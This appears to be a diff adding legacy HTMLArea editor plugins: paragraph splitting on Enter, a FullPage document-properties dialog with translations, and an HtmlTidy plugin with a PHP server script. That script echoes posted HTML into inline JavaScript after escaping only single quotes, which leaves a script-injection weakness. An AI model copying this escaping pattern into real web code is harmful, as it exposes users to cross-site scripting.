+// If a callback function returns a non-null value, that is returned and the crawl is therefore broken
+EnterParagraphs.prototype.walkNodeChildren = function(me, callback) {
+ if (me.firstChild) {
+ var myChild = me.firstChild;
+ var retVal;
+ while (myChild) {
+ if ((retVal = callback(this, myChild)) != null)
+ return retVal;
+ if ((retVal = this.walkNodeChildren(myChild, callback)) != null)
+ return retVal;
+ myChild = myChild.nextSibling;
+ }
+ }
+};
+
+// Callback function to be performed on each node in the hierarchy
+// Sets flag to true if we find actual text or an element that's not usually displayed inline
+EnterParagraphs.prototype._isFilling = function(self, node) {
+ if (node.nodeType == 1 && !self._html4_inlines_re.test(node.nodeName))
+ return true;
+ else if (node.nodeType == 3 && node.nodeValue != '')
+ return true;
+ return null;
+ //alert(node.nodeName);
+};
+
+// Inserts a node deeply on the left of a hierarchy of nodes
+EnterParagraphs.prototype.insertDeepLeftText = function(target, toInsert) {
+ var falling = target;
+ while (falling.firstChild && falling.firstChild.nodeType == 1)
+ falling = falling.firstChild;
+ //var refNode = falling.firstChild ? falling.firstChild : null;
+ //falling.insertBefore(toInsert, refNode);
+ falling.innerHTML = toInsert;
+};
+
+// Kind of like a macros, for a frequent query...
+EnterParagraphs.prototype.isElem = function(node, type) {
+ return node.nodeName.toLowerCase() == type.toLowerCase();
+};
+
+// The onKeyPress even that does all the work - nicely breaks the line into paragraphs
+EnterParagraphs.prototype.__onKeyPress = function(ev) {
+
+ if (ev.keyCode == 13 && !ev.shiftKey && this.editor._iframe.contentWindow.getSelection) {
+
+ var editor = this.editor;
+
+ // Get the selection and solid references to what we're dealing with chopping
+ var sel = editor._iframe.contentWindow.getSelection();
+
+ // Set the start and end points such that they're going /forward/ through the document
+ var rngLeft = editor._doc.createRange(); var rngRight = editor._doc.createRange();
+ rngLeft.setStart(sel.anchorNode, sel.anchorOffset); rngRight.setStart(sel.focusNode, sel.focusOffset);
+ rngLeft.collapse(true); rngRight.collapse(true);
+
+ var direct = rngLeft.compareBoundaryPoints(rngLeft.START_TO_END, rngRight) < 0;
+
+ var startNode = direct ? sel.anchorNode : sel.focusNode;
+ var startOffset = direct ? sel.anchorOffset : sel.focusOffset;
+ var endNode = direct ? sel.focusNode : sel.anchorNode;
+ var endOffset = direct ? sel.focusOffset : sel.anchorOffset;
+
+ // Find the parent blocks of nodes at either end, and their attributes if they're paragraphs
+ var startBlock = this.parentBlock(startNode); var endBlock = this.parentBlock(endNode);
+ var attrsLeft = new Array(); var attrsRight = new Array();
+
+ // If a list, let the browser take over, if we're in a paragraph, gather it's attributes
+ if (this.isElem(startBlock, 'li') || this.isElem(endBlock, 'li'))
+ return;
+
+ if (this.isElem(startBlock, 'p')) {
+ for (var i = 0; i < startBlock.attributes.length; i++) {
+ attrsLeft[startBlock.attributes[i].nodeName] = startBlock.attributes[i].nodeValue;
+ }
+ }
+ if (this.isElem(endBlock, 'p')) {
+ for (var i = 0; i < endBlock.attributes.length; i++) {
+ // If we start and end within one paragraph, don't duplicate the 'id'
+ if (endBlock != startBlock || endBlock.attributes[i].nodeName.toLowerCase() != 'id')
+ attrsRight[endBlock.attributes[i].nodeName] = endBlock.attributes[i].nodeValue;
+ }
+ }
+
+ // Look for where to start and end our chopping - within surrounding paragraphs
+ // if they exist, or at the edges of the containing block, otherwise
+ var startChop = startNode; var endChop = endNode;
+
+ while ((startChop.previousSibling && !this.isElem(startChop.previousSibling, 'p'))
+ || (startChop.parentNode && startChop.parentNode != startBlock && startChop.parentNode.nodeType != 9))
+ startChop = startChop.previousSibling ? startChop.previousSibling : startChop.parentNode;
+
+ while ((endChop.nextSibling && !this.isElem(endChop.nextSibling, 'p'))
+ || (endChop.parentNode && endChop.parentNode != endBlock && endChop.parentNode.nodeType != 9))
+ endChop = endChop.nextSibling ? endChop.nextSibling : endChop.parentNode;
+
+ // Set up new paragraphs
+ var pLeft = editor._doc.createElement('p'); var pRight = editor._doc.createElement('p');
+
+ for (var attrName in attrsLeft) {
+ var thisAttr = editor._doc.createAttribute(attrName);
+ thisAttr.value = attrsLeft[attrName];
+ pLeft.setAttributeNode(thisAttr);
+ }
+ for (var attrName in attrsRight) {
+ var thisAttr = editor._doc.createAttribute(attrName);
+ thisAttr.value = attrsRight[attrName];
+ pRight.setAttributeNode(thisAttr);
+ }
+
+ // Get the ranges destined to be stuffed into new paragraphs
+ rngLeft.setStartBefore(startChop);
+ rngLeft.setEnd(startNode,startOffset);
+ pLeft.appendChild(rngLeft.cloneContents()); // Copy into pLeft
+
+ rngRight.setEndAfter(endChop);
+ rngRight.setStart(endNode,endOffset);
+ pRight.appendChild(rngRight.cloneContents()); // Copy into pRight
+
+ // If either paragraph is empty, fill it with a nonbreakable space
+ var foundBlock = false;
+ foundBlock = this.walkNodeChildren(pLeft, this._isFilling);
+ if (foundBlock != true)
+ this.insertDeepLeftText(pLeft, ' ');
+
+ foundBlock = false;
+ foundBlock = this.walkNodeChildren(pRight, this._isFilling);
+ if (foundBlock != true)
+ this.insertDeepLeftText(pRight, ' ');
+
+ // Get a range for everything to be replaced and replace it
+ var rngAround = editor._doc.createRange();
+
+ if (!startChop.previousSibling && this.isElem(startChop.parentNode, 'p'))
+ rngAround.setStartBefore(startChop.parentNode);
+ else
+ rngAround.setStart(rngLeft.startContainer, rngLeft.startOffset);
+
+ if (!endChop.nextSibling && this.isElem(endChop.parentNode, 'p'))
+ rngAround.setEndAfter(endChop.parentNode);
+ else
+ rngAround.setEnd(rngRight.endContainer, rngRight.endOffset);
+
+ rngAround.deleteContents();
+ rngAround.insertNode(pRight);
+ rngAround.insertNode(pLeft);
+
+ // Set the selection to the start of the (second) new paragraph
+ if (pRight.firstChild) {
+ while (pRight.firstChild && this._html4_inlines_re.test(pRight.firstChild.nodeName))
+ pRight = pRight.firstChild;
+ // Slip into any inline tags
+ if (pRight.firstChild && pRight.firstChild.nodeType == 3)
+ pRight = pRight.firstChild; // and text, if they've got it
+
+ var rngCaret = editor._doc.createRange();
+ rngCaret.setStart(pRight, 0);
+ rngCaret.collapse(true);
+
+ sel = editor._iframe.contentWindow.getSelection();
+ sel.removeAllRanges();
+ sel.addRange(rngCaret);
+ }
+
+ // Stop the bubbling
+ HTMLArea._stopEvent(ev);
+ }
+};
--- /dev/null
+// FullPage Plugin for HTMLArea-3.0
+// Implementation by Mihai Bazon. Sponsored by http://thycotic.com
+//
+// htmlArea v3.0 - Copyright (c) 2002 interactivetools.com, inc.
+// This notice MUST stay intact for use (see license.txt).
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon for InteractiveTools.
+// http://dynarch.com/mishoo
+//
+// $Id: full-page.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+function FullPage(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ cfg.fullPage = true;
+ var tt = FullPage.I18N;
+ var self = this;
+
+ cfg.registerButton("FP-docprop", tt["Document properties"], editor.imgURL("docprop.gif", "FullPage"), false,
+ function(editor, id) {
+ self.buttonPress(editor, id);
+ });
+
+ // add a new line in the toolbar
+ cfg.toolbar[0].splice(0, 0, "separator");
+ cfg.toolbar[0].splice(0, 0, "FP-docprop");
+};
+
+FullPage._pluginInfo = {
+ name : "FullPage",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "Mihai Bazon",
+ sponsor : "Thycotic Software Ltd.",
+ sponsor_url : "http://thycotic.com",
+ license : "htmlArea"
+};
+
+FullPage.prototype.buttonPress = function(editor, id) {
+ var self = this;
+ switch (id) {
+ case "FP-docprop":
+ var doc = editor._doc;
+ var links = doc.getElementsByTagName("link");
+ var style1 = '';
+ var style2 = '';
+ for (var i = links.length; --i >= 0;) {
+ var link = links[i];
+ if (/stylesheet/i.test(link.rel)) {
+ if (/alternate/i.test(link.rel))
+ style2 = link.href;
+ else
+ style1 = link.href;
+ }
+ }
+ var title = doc.getElementsByTagName("title")[0];
+ title = title ? title.innerHTML : '';
+ var init = {
+ f_doctype : editor.doctype,
+ f_title : title,
+ f_body_bgcolor : HTMLArea._colorToRgb(doc.body.style.backgroundColor),
+ f_body_fgcolor : HTMLArea._colorToRgb(doc.body.style.color),
+ f_base_style : style1,
+ f_alt_style : style2,
+
+ editor : editor
+ };
+ editor._popupDialog("plugin://FullPage/docprop", function(params) {
+ self.setDocProp(params);
+ }, init);
+ break;
+ }
+};
+
+FullPage.prototype.setDocProp = function(params) {
+ var txt = "";
+ var doc = this.editor._doc;
+ var head = doc.getElementsByTagName("head")[0];
+ var links = doc.getElementsByTagName("link");
+ var style1 = null;
+ var style2 = null;
+ for (var i = links.length; --i >= 0;) {
+ var link = links[i];
+ if (/stylesheet/i.test(link.rel)) {
+ if (/alternate/i.test(link.rel))
+ style2 = link;
+ else
+ style1 = link;
+ }
+ }
+ function createLink(alt) {
+ var link = doc.createElement("link");
+ link.rel = alt ? "alternate stylesheet" : "stylesheet";
+ head.appendChild(link);
+ return link;
+ };
+
+ if (!style1 && params.f_base_style)
+ style1 = createLink(false);
+ if (params.f_base_style)
+ style1.href = params.f_base_style;
+ else if (style1)
+ head.removeChild(style1);
+
+ if (!style2 && params.f_alt_style)
+ style2 = createLink(true);
+ if (params.f_alt_style)
+ style2.href = params.f_alt_style;
+ else if (style2)
+ head.removeChild(style2);
+
+ for (var i in params) {
+ var val = params[i];
+ switch (i) {
+ case "f_title":
+ var title = doc.getElementsByTagName("title")[0];
+ if (!title) {
+ title = doc.createElement("title");
+ head.appendChild(title);
+ } else while (node = title.lastChild)
+ title.removeChild(node);
+ if (!HTMLArea.is_ie)
+ title.appendChild(doc.createTextNode(val));
+ else
+ doc.title = val;
+ break;
+ case "f_doctype":
+ this.editor.setDoctype(val);
+ break;
+ case "f_body_bgcolor":
+ doc.body.style.backgroundColor = val;
+ break;
+ case "f_body_fgcolor":
+ doc.body.style.color = val;
+ break;
+ }
+ }
+};
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+// I18N for the FullPage plugin
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+FullPage.I18N = {
+ "Alternate style-sheet:": "Alternate style-sheet:",
+ "Background color:": "Background color:",
+ "Cancel": "Cancel",
+ "DOCTYPE:": "DOCTYPE:",
+ "Document properties": "Document properties",
+ "Document title:": "Document title:",
+ "OK": "OK",
+ "Primary style-sheet:": "Primary style-sheet:",
+ "Text color:": "Text color:"
+};
--- /dev/null
+// I18N for the FullPage plugin\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+FullPage.I18N = {\r\r
+ "Alternate style-sheet:": "גיליון סגנון אחר:",\r\r
+ "Background color:": "צבע רקע:",\r\r
+ "Cancel": "ביטול",\r\r
+ "DOCTYPE:": "DOCTYPE:",\r\r
+ "Document properties": "מאפייני מסמך",\r\r
+ "Document title:": "כותרת מסמך:",\r\r
+ "OK": "אישור",\r\r
+ "Primary style-sheet:": "גיליון סגנון ראשי:",\r\r
+ "Text color:": "צבע טקסט:"\r\r
+};\r\r
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N for the FullPage plugin
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+FullPage.I18N = {
+ "Alternate style-sheet:": "Template CSS alternativ:",
+ "Background color:": "Culoare de fundal:",
+ "Cancel": "Renunţă",
+ "DOCTYPE:": "DOCTYPE:",
+ "Document properties": "Proprietăţile documentului",
+ "Document title:": "Titlul documentului:",
+ "OK": "Acceptă",
+ "Primary style-sheet:": "Template CSS principal:",
+ "Text color:": "Culoare text:"
+};
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+ <dir name="img" />
+ <dir name="popups" />
+</files>
+
--- /dev/null
+<html>
+
+<head>
+ <title>Document properties</title>
+
+<script type="text/javascript" src="../../../popups/popup.js"></script>
+
+<script type="text/javascript">
+
+FullPage = window.opener.FullPage; // load the FullPage plugin and lang file ;-)
+window.resizeTo(400, 100);
+
+ var accepted = {
+ f_doctype : true,
+ f_title : true,
+ f_body_bgcolor : true,
+ f_body_fgcolor : true,
+ f_base_style : true,
+ f_alt_style : true
+ };
+
+var editor = null;
+function Init() {
+ __dlg_translate(FullPage.I18N);
+ __dlg_init();
+ var params = window.dialogArguments;
+ for (var i in params) {
+ if (i in accepted) {
+ var el = document.getElementById(i);
+ el.value = params[i];
+ }
+ }
+ editor = params.editor;
+ document.getElementById("f_title").focus();
+ document.getElementById("f_title").select();
+};
+
+function onOK() {
+ var required = {
+ };
+ for (var i in required) {
+ var el = document.getElementById(i);
+ if (!el.value) {
+ alert(required[i]);
+ el.focus();
+ return false;
+ }
+ }
+
+ var param = {};
+ for (var i in accepted) {
+ var el = document.getElementById(i);
+ param[i] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+};
+
+function onCancel() {
+ __dlg_close(null);
+ return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+table .label { text-align: right; width: 12em; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+
+#buttons {
+ margin-top: 1em; border-top: 1px solid #999;
+ padding: 2px; text-align: right;
+}
+</style>
+
+ </head>
+
+ <body onload="Init()">
+
+ <div class="title"><span>Document properties</span></div>
+
+ <table style="width: 100%">
+ <tr>
+ <td class="label"><span>Document title:</span></td>
+ <td><input type="text" id="f_title" style="width: 100%" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>DOCTYPE:</span></td>
+ <td><input type="text" id="f_doctype" style="width: 100%" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>Primary style-sheet:</span></td>
+ <td><input type="text" id="f_base_style" style="width: 100%" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>Alternate style-sheet:</span></td>
+ <td><input type="text" id="f_alt_style" style="width: 100%" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>Background color:</span></td>
+ <td><input type="text" id="f_body_bgcolor" size="7" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>Text color:</span></td>
+ <td><input type="text" id="f_body_fgcolor" size="7" /></td>
+ </tr>
+ </table>
+
+ <div id="buttons">
+ <button type="button" name="ok" onclick="return onOK();"><span>OK</span></button>
+ <button type="button" name="cancel" onclick="return onCancel();"><span>Cancel</span></button>
+ </div>
+
+ </body>
+</html>
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+</files>
+
--- /dev/null
+<html>
+ <head>
+ <title>Test of FullPage plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript">
+ _editor_url = "../../";
+ </script>
+
+ <!-- load the main HTMLArea files -->
+ <script type="text/javascript" src="../../htmlarea.js"></script>
+ <script type="text/javascript" src="../../lang/en.js"></script>
+ <script type="text/javascript" src="../../dialog.js"></script>
+
+ <!-- <script type="text/javascript" src="popupdiv.js"></script> -->
+ <script type="text/javascript" src="../../popupwin.js"></script>
+
+ <script type="text/javascript">
+ HTMLArea.loadPlugin("TableOperations");
+ HTMLArea.loadPlugin("SpellChecker");
+ HTMLArea.loadPlugin("FullPage");
+
+ function initDocument() {
+ var editor = new HTMLArea("editor");
+ editor.registerPlugin(TableOperations);
+ editor.registerPlugin(SpellChecker);
+ editor.registerPlugin(FullPage);
+ editor.generate();
+ }
+ </script>
+
+ <style type="text/css">
+ @import url(../../htmlarea.css);
+ </style>
+
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Test of FullPage plugin</h1>
+
+ <textarea id="editor" style="height: 30em; width: 100%;">
+ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+ <html>
+ <head>
+ <title>FullPage plugin for HTMLArea</title>
+ <link rel="alternate stylesheet" href="http://dynarch.com/mishoo/css/dark.css" />
+ <link rel="stylesheet" href="http://dynarch.com/mishoo/css/cool-light.css" />
+ </head>
+ <body style="background-color: #ddddee; color: #000077;">
+ <table style="width:60%; height: 90%; margin: 2% auto 1% auto;" align="center" border="0" cellpadding="0" cellspacing="0">
+ <tr>
+ <td style="background-color: #ddeedd; border: 2px solid #002; height: 1.5em; padding: 2px; font: bold 24px Verdana;">
+ FullPage plugin
+ </td>
+ </tr>
+ <tr>
+ <td style="background-color: #fff; border: 1px solid #aab; padding: 1em 3em; font: 12px Verdana;">
+ <p>
+ This plugin enables one to edit a full HTML file in <a
+ href="http://dynarch.com/htmlarea/">HTMLArea</a>. This is not
+ normally possible with just the core editor since it only
+ retrieves the HTML inside the <code>body</code> tag.
+ </p>
+ <p>
+ It provides the ability to change the <code>DOCTYPE</code> of
+ the document, <code>body</code> <code>bgcolor</code> and
+ <code>fgcolor</code> attributes as well as to add additional
+ <code>link</code>-ed stylesheets. Cool, eh?
+ </p>
+ <p>
+ The development of this plugin was initiated and sponsored by
+ <a href="http://thycotic.com">Thycotic Software Ltd.</a>.
+ That's also cool, isn't it? ;-)
+ </p>
+ </td>
+ </tr>
+ </table>
+ </body>
+ </html>
+ </textarea>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct 1 19:55:37 EEST 2003 -->
+<!-- hhmts start -->
+Last modified on Sat Oct 25 01:06:59 2003
+<!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+// Plugin for htmlArea to run code through the server's HTML Tidy
+// By Adam Wright, for The University of Western Australia
+//
+// Email: zeno@ucc.gu.uwa.edu.au
+// Homepage: http://blog.hipikat.org/
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// Version: 0.5
+// Released to the outside world: 04/03/04
+
+
+HtmlTidy is a plugin for the popular cross-browser TTY WYSIWYG editor,
+htmlArea (http://www.interactivetools.com/products/htmlarea/). HtmlTidy
+basically queries HTML Tidy (http://tidy.sourceforge.net/) on the
+server side, getting it to make-html-nice, instead of relying on masses
+of javascript, which the client would have to download.
+
+Hi, this is a quick explanation of how to install HtmlTidy. Much better
+documentation is probably required, and you're welcome to write it :)
+
+
+* The HtmlTidy directory you should have found this file in should
+ include the following:
+
+ - README
+ This file, providing help installing the plugin.
+
+ - html-tidy-config.cfg
+ This file contains the configuration options HTML Tidy uses to
+ clean html, and can be modified to suit your organizations
+ requirements.
+
+ - html-tidy-logic.php
+ This is the php script, which is queried with dirty html and is
+ responsible for invoking HTML Tidy, getting nice new html and
+ returning it to the client.
+
+ - html-tidy.js
+ The main htmlArea plugin, providing functionality to tidy html
+ through the htmlArea interface.
+
+ - htmlarea.js.onmode_event.diff
+ At the time of publishing, an extra event handler was required
+ inside the main htmlarea.js file. htmlarea.js may be patched
+ against this file to make the changes reuquired, but be aware
+ that the event handler may either now be in the core or
+ htmlarea.js may have changed enough to invalidate the patch.
+
+ UPDATE: now it exists in the official htmlarea.js; applying
+ this patch is thus no longer necessary.
+
+ - img/html-tidy.gif
+ The HtmlTidy icon, for the htmlArea toolbar. Created by Dan
+ Petty for The University of Western Australia.
+
+ - lang/en.js
+ English language file. Add your own language files here and
+ please contribute back into the htmlArea community!
+
+ The HtmlArea directory should be extracted to your htmlarea/plugins/
+ directory.
+
+
+* Make sure the onMode event handler mentioned above, regarding
+ htmlarea.js.onmode_event.diff, exists in your htmlarea.js
+
+
+* html-tidy-logic.php should be executable, and your web server should
+ be configured to execute php scripts in the directory
+ html-tidy-logic.php exists in.
+
+
+* HTML Tidy needs to be installed on your server, and 'tidy' should be
+ an alias to it, lying in the PATH known to the user executing such
+ web scripts.
+
+
+* In your htmlArea configuration, do something like this:
+
+ HTMLArea.loadPlugin("HtmlTidy");
+
+ editor = new HTMLArea("doc");
+ editor.registerPlugin("HtmlTidy");
+
+
+* Then, in your htmlArea toolbar configuration, use:
+
+ - "HT-html-tidy"
+ This will create the 'tidy broom' icon on the toolbar, which
+ will attempt to tidy html source when clicked, and;
+
+ - "HT-auto-tidy"
+ This will create an "Auto Tidy" / "Don't Tidy" dropdown, to
+ select whether the source should be tidied automatically when
+ entering source view. On by default, if you'd like it otherwise
+ you can do so programatically after generating the toolbar :)
+ (Or just hack it to be otherwise...)
+
+
+Thank you.
+
+Any bugs you find can be emailed to zeno@ucc.gu.uwa.edu.au
--- /dev/null
+// Default configuration file for the htmlArea, HtmlTidy plugin
+// By Adam Wright, for The University of Western Australia
+//
+// Evertything you always wanted to know about HTML Tidy *
+// can be found at http://tidy.sourceforge.net/, and a
+// quick reference to the configuration options exists at
+// http://tidy.sourceforge.net/docs/quickref.html
+//
+// * But were afraid to ask
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+word-2000: yes
+clean: no
+drop-font-tags: yes
+doctype: auto
+drop-empty-paras: yes
+drop-proprietary-attributes: yes
+enclose-block-text: yes
+enclose-text: yes
+escape-cdata: yes
+logical-emphasis: yes
+indent: auto
+indent-spaces: 2
+break-before-br: yes
+output-xhtml: yes
+
+force-output: yes
--- /dev/null
+<? ###################################################################
+ ##
+ ## Plugin for htmlArea, to run code through the server's HTML Tidy
+ ## By Adam Wright, for The University of Western Australia
+## This is the server-side script, which dirty code is run through.
+##
+## Distributed under the same terms as HTMLArea itself.
+## This notice MUST stay intact for use (see license.txt).
+##
+
+ // Get the original source
+ $source = $_POST['htisource_name'];
+ $source = stripslashes($source);
+
+ // Open a tidy process - I hope it's installed!
+ $descriptorspec = array(
+ 0 => array("pipe", "r"),
+ 1 => array("pipe", "w"),
+ 2 => array("file", "/dev/null", "a")
+ );
+ $process = proc_open("tidy -config html-tidy-config.cfg", $descriptorspec, $pipes);
+
+ // Make sure the program started and we got the hooks...
+ // Either way, get some source code into $source
+ if (is_resource($process)) {
+
+ // Feed untidy source into the stdin
+ fwrite($pipes[0], $source);
+ fclose($pipes[0]);
+
+ // Read clean source out to the browser
+ while (!feof($pipes[1])) {
+ //echo fgets($pipes[1], 1024);
+ $newsrc .= fgets($pipes[1], 1024);
+ }
+ fclose($pipes[1]);
+
+ // Clean up after ourselves
+ proc_close($process);
+
+ } else {
+ // Better give them back what they came with, so they don't lose it all...
+ $newsrc = "<body>\n" .$source. "\n</body>";
+ }
+
+ // Split our source into an array by lines
+ $srcLines = explode("\n",$newsrc);
+
+ // Get only the lines between the body tags
+ $startLn = 0;
+ while ( strpos( $srcLines[$startLn++], '<body' ) === false && $startLn < sizeof($srcLines) );
+ $endLn = $startLn;
+ while ( strpos( $srcLines[$endLn++], '</body' ) === false && $endLn < sizeof($srcLines) );
+
+ $srcLines = array_slice( $srcLines, $startLn, ($endLn - $startLn - 1) );
+
+ // Create a set of javascript code to compile a new source string
+ foreach ($srcLines as $line) {
+ $jsMakeSrc .= "\tns += '" . str_replace("'","\'",$line) . "\\n';\n";
+ }
+?>
+
+
+<html>
+ <head>
+ <script type="text/javascript">
+
+function setNewHtml() {
+ var htRef = window.parent._editorRef.plugins['HtmlTidy'];
+ htRef.instance.processTidied(tidyString());
+}
+function tidyString() {
+ var ns = '\n';
+ <?=$jsMakeSrc;?>
+ return ns;
+}
+
+ </script>
+ </head>
+
+ <body id="htiNewBody" onload="setNewHtml()">
+ </body>
+</html>
--- /dev/null
+// Plugin for htmlArea to run code through the server's HTML Tidy
+// By Adam Wright, for The University of Western Australia
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+function HtmlTidy(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ var tt = HtmlTidy.I18N;
+ var bl = HtmlTidy.btnList;
+ var self = this;
+
+ this.onMode = this.__onMode;
+
+ // register the toolbar buttons provided by this plugin
+ var toolbar = [];
+ for (var i in bl) {
+ var btn = bl[i];
+ if (btn == "html-tidy") {
+ var id = "HT-html-tidy";
+ cfg.registerButton(id, tt[id], editor.imgURL(btn[0] + ".gif", "HtmlTidy"), true,
+ function(editor, id) {
+ // dispatch button press event
+ self.buttonPress(editor, id);
+ }, btn[1]);
+ toolbar.push(id);
+ } else if (btn == "html-auto-tidy") {
+ var ht_class = {
+ id : "HT-auto-tidy",
+ options : { "Auto-Tidy" : "auto", "Don't Tidy" : "noauto" },
+ action : function (editor) { self.__onSelect(editor, this); },
+ refresh : function (editor) { },
+ context : "body"
+ };
+ cfg.registerDropdown(ht_class);
+ }
+ }
+
+ for (var i in toolbar) {
+ cfg.toolbar[0].push(toolbar[i]);
+ }
+};
+
+HtmlTidy._pluginInfo = {
+ name : "HtmlTidy",
+ version : "1.0",
+ developer : "Adam Wright",
+ developer_url : "http://blog.hipikat.org/",
+ sponsor : "The University of Western Australia",
+ sponsor_url : "http://www.uwa.edu.au/",
+ license : "htmlArea"
+};
+
+HtmlTidy.prototype.__onSelect = function(editor, obj) {
+ // Get the toolbar element object
+ var elem = editor._toolbarObjects[obj.id].element;
+
+ // Set our onMode event appropriately
+ if (elem.value == "auto")
+ this.onMode = this.__onMode;
+ else
+ this.onMode = null;
+};
+
+HtmlTidy.prototype.__onMode = function(mode) {
+ if ( mode == "textmode" ) {
+ this.buttonPress(this.editor, "HT-html-tidy");
+ }
+};
+
+HtmlTidy.btnList = [
+ null, // separator
+ ["html-tidy"],
+ ["html-auto-tidy"]
+];
+
+HtmlTidy.prototype.onGenerateOnce = function() {
+ var editor = this.editor;
+
+ var ifr = document.createElement("iframe");
+ ifr.name = "htiframe_name";
+ var s = ifr.style;
+ s.position = "absolute";
+ s.width = s.height = s.border = s.left = s.top = s.padding = s.margin = "0px";
+ document.body.appendChild(ifr);
+
+ var frm = '<form id="htiform_id" name="htiform_name" method="post" target="htiframe_name" action="';
+ frm += _editor_url + 'plugins/HtmlTidy/html-tidy-logic.php';
+ frm += '"><textarea name="htisource_name" id="htisource_id">';
+ frm += '</textarea></form>';
+
+ var newdiv = document.createElement('div');
+ newdiv.style.display = "none";
+ newdiv.innerHTML = frm;
+ document.body.appendChild(newdiv);
+};
+
+HtmlTidy.prototype.buttonPress = function(editor, id) {
+ var i18n = HtmlTidy.I18N;
+
+ switch (id) {
+ case "HT-html-tidy":
+
+ var oldhtml = editor.getHTML();
+
+ // Ask the server for some nice new html, based on the old...
+ var myform = document.getElementById('htiform_id');
+ var txtarea = document.getElementById('htisource_id');
+ txtarea.value = editor.getHTML();
+
+ // Apply the 'meanwhile' text, e.g. "Tidying HTML, please wait..."
+ editor.setHTML(i18n['tidying']);
+
+ // The returning tidying processing script needs to find the editor
+ window._editorRef = editor;
+
+ // ...And send our old source off for processing!
+ myform.submit();
+ break;
+ }
+};
+
+HtmlTidy.prototype.processTidied = function(newSrc) {
+ editor = this.editor;
+ editor.setHTML(newSrc);
+};
--- /dev/null
+<files>
+ <file name="*.{gif,png,jpg}" />
+</files>
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Adam Wright, http://blog.hipikat.org/
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HtmlTidy.I18N = {
+ "tidying" : "\n Tidying up the HTML source, please wait...",
+ "HT-html-tidy" : "HTML Tidy"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+<files>
+ <file name="*.{html,js,cgi,php,css,cfg}" />
+ <file name="README" />
+
+ <dir name="lang" />
+ <dir name="img" />
+</files>
--- /dev/null
+<?
+/**
+ * File Utilities.
+ * @author $Author: cscott $
+ * @version $Id: Files.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+define('FILE_ERROR_NO_SOURCE', 100);
+define('FILE_ERROR_COPY_FAILED', 101);
+define('FILE_ERROR_DST_DIR_FAILED', 102);
+define('FILE_COPY_OK', 103);
+
+/**
+ * File Utilities
+ * @author $Author: cscott $
+ * @version $Id: Files.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ * @subpackage files
+ */
+class Files
+{
+
+ /**
+ * Copy a file from source to destination. If unique == true, then if
